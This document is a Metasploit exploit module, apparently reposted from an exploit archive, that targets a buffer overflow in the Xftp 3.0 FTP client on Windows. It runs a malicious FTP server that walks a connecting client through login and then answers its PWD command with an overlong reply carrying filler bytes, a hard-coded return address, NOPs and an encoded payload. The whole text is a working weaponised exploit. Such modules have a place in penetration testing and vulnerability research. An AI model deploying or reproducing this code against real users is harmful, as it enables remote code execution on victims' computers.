Xftp FTP Client 3.0 – PWD Remote Buffer Overflow (Metasploit)
## # $Id: xftp_client_pwd.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Xftp FTP Client 3.0 PWD Remote Buffer Overflow Exploit', 'Description' => %q{ This module exploits a buffer overflow in the Xftp 3.0 FTP client that is triggered through an excessively long PWD message. }, 'Author' => [ 'zombiefx', # Original exploit author 'dookie' # MSF module author ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'OSVDB', '63968'], [ 'URL', 'http://www.exploit-db.com/exploits/12332' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 434, 'BadChars' => "\x00\x0a", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Ret' => 0x100123AF } ], # JMP ECX in nslicense.dll ], 'Privileged' => false, 'DisclosureDate' => 'Apr 22 2010', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]), OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]), ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n" client.put(buffer) end def on_client_data(client) # Get the client username client.get_once # Prompt the client for the password. user = "331 Anonymous access allowed.\r\n" client.put(user) client.get_once # Handle the clients PWD command. pass = "230 Login successful.\r\n230 User logged in.\r\n" client.put(pass) client.get_once # Send the exploit sploit = "257 \"/" sploit << rand_text_alpha_upper(1019) sploit << [ target.ret ].pack('V') sploit << make_nops(55) sploit << payload.encoded sploit << "\" is current directory.\r\n" client.put(sploit) # Get the CWD from the client client.get_once end end |